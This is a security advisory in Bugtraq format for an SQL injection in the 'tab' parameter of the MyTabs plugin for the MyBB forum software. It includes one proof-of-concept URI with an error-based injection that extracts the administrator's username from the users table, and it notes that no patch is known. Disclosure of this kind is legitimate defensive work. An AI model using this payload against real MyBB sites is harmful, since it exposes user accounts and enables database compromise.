MyBB MyTabs Plugin 'tab' Parameter SQL Injection Vulnerability

Bugtraq ID:	48952
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 02 2011 12:00AM
Updated:	Aug 02 2011 12:00AM
Credit:	AutoRUN and dR.sqL
Vulnerable:	MyBB MyTabs 0
Not Vulnerable:

MyBB MyTabs Plugin 'tab' Parameter SQL Injection Vulnerability

The MyTabs plugin for MyBB is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

MyBB MyTabs Plugin 'tab' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

MyBB MyTabs Plugin 'tab' Parameter SQL Injection Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

MyBB MyTabs Plugin 'tab' Parameter SQL Injection Vulnerability

References:

• MyBB Homepage (MyBB)
  
• MyTabs (MYBB)